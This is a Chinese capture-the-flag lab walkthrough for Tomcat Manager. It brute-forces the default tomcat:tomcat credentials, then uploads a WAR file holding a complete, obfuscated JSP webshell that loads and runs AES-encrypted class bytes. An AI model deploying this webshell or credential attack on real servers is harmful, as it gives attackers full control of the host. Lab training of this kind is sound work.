靶机信息
可以通过访问极核官方靶场开启靶机实验:极核靶场 -> 渗透测试靶场 -> Tomcat Manager – 恶意文件上传
漏洞科普
Tomcat Manager 是 Apache Tomcat 服务器提供的管理后台,用于动态部署、卸载和管理 Web 应用(通常通过上传 .war
文件实现)。其漏洞核心在于:若管理员未修改默认弱口令(如 tomcat:tomcat
)或未限制访问权限,攻击者可利用弱口令爆破或直接登录后台,上传包含恶意 JSP 木马的 .war
文件。Tomcat 会自动解压并部署该文件,将木马释放到 Web 目录(如 /xxx/shell.jsp
),攻击者通过访问该路径即可执行任意系统命令,完全控制服务器。
靶机实战
打开靶机首页,页面为Tomcat默认页面,点击 Manager App
尝试进入Tomcat管理页面,发现需要认证。
![图片[1] - 【靶机实战】Tomcat Manager – 恶意文件上传 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/08/image-16.png)
![图片[2] - 【靶机实战】Tomcat Manager – 恶意文件上传 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/08/image-17.png)
这里有多种方式可以进行密码破解,第一种是使用无影Tscan工具的密码破解模块。
将靶机域名填入目标框内,在勾选爆破目标 Tomcat
,端口修改为靶机开放的端口。修改好后即可开始爆破,最终得到凭据:tomcat / tomcat
![图片[3] - 【靶机实战】Tomcat Manager – 恶意文件上传 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/08/image-18.png)
第二种就是通过重放数据包来进行爆破,在认证的时候,随便输入一组账号密码,点击后登录进行抓包,在HTTP数据包中有请求头:Authorization: Basic YWRtaW46YWRtaW4=
,其中YWRtaW46YWRtaW4=
则是账号密码的base64后的值,解码后为:admin:admin
。也就是说只将爆破的账号密码组合为:<账号>:<密码>
后进行base64编码,就可以对目标进行爆破。
在BurpSuite中,可以将登录请求的数据包发送到Intruder模块,对字段进行编辑后进行爆破,详细操作看下面视频。最终得到凭据:tomcat / tomcat
进入到后台后,可以上传包含恶意 JSP 木马的 .war
文件,Tomcat 会自动解压并部署该文件,将木马释放到 Web 目录,比如上传一个 api.war
,那么就会将文件自动解压到 /api/
。
制作WAR包也很简单,首先准备好一个你要释放到目标服务器的JSP文件,可以是WebShell,也可以是简易命令执行代码。我这里准备一个天蝎的WebShell JSP文件,命名为 api.jsp
<%@page import="java.lang.reflect.*,java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*"%><%!class MyLoader extends ClassLoader {
MyLoader(ClassLoader c) {
super(c);}}
%>
<%
try{
String key="900bc885d7553375";
request.setAttribute("sky", key);
String data=request.getReader().readLine();
if (data!= null) {
String ver = System.getProperty("java.version");
byte[] code=null;
if (ver.compareTo("1.8") >= 0) {
Class Base64 = Class.forName("java.ut"+"il.Base64");
Object Decoder = Base64.getMethod("getDecoder", (Class[]) null).invoke(Base64, (Object[]) null);
code = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data.getBytes("UTF-8")});
} else {
Class Base64 = Class.forName("sun.misc.BAS"+"E64Decoder");
Object Decoder = Base64.newInstance();
code = (byte[]) Decoder.getClass().getMethod("deco"+"deBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{data});
}
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(key.getBytes(), "AES"));
byte[] ccode=c.doFinal(code);
MyLoader ml=new MyLoader(this.getClass().getClassLoader());
Method m = ml.getClass().getSuperclass().getDeclaredMethod("defin"+"eClass", new Class[]{byte[].class, int.class, int.class});
m.setAccessible(true);
Class cls=(Class)m.invoke(ml,new Object[]{ccode, 0, ccode.length});
cls.newInstance().equals(pageContext);
}
}catch(Exception e){
e.printStackTrace();
};
out=pageContext.pushBody();
%>
然后执行命令:jar -cvf api.war api.jsp
,就会生成api.war
文件了。
![图片[4] - 【靶机实战】Tomcat Manager – 恶意文件上传 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/08/image-19.png)
回到Tomcat后台上传刚才生成的 api.war
,上传后,可以在应用程序发现存在 /api/
目录了。
![图片[5] - 【靶机实战】Tomcat Manager – 恶意文件上传 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/08/image-20.png)
![图片[6] - 【靶机实战】Tomcat Manager – 恶意文件上传 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/08/image-21.png)
我们制作WAR包的JSP文件名为:api.jsp,所以访问 /api/api.jsp 即可访问到我们制作好的JSP文件。这里使用天蝎权限管理工具来连接WebShell的URL:<url>/api/api.jsp,可以发现连接成功
![图片[7] - 【靶机实战】Tomcat Manager – 恶意文件上传 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/08/image-22.png)
接着通过文件管理功能查看根目录 /flag
文件即可获取flag。
![图片[8] - 【靶机实战】Tomcat Manager – 恶意文件上传 - 极核GetShell](https://get-shell.com/wp-content/uploads/2025/08/image-23.png)
暂无评论内容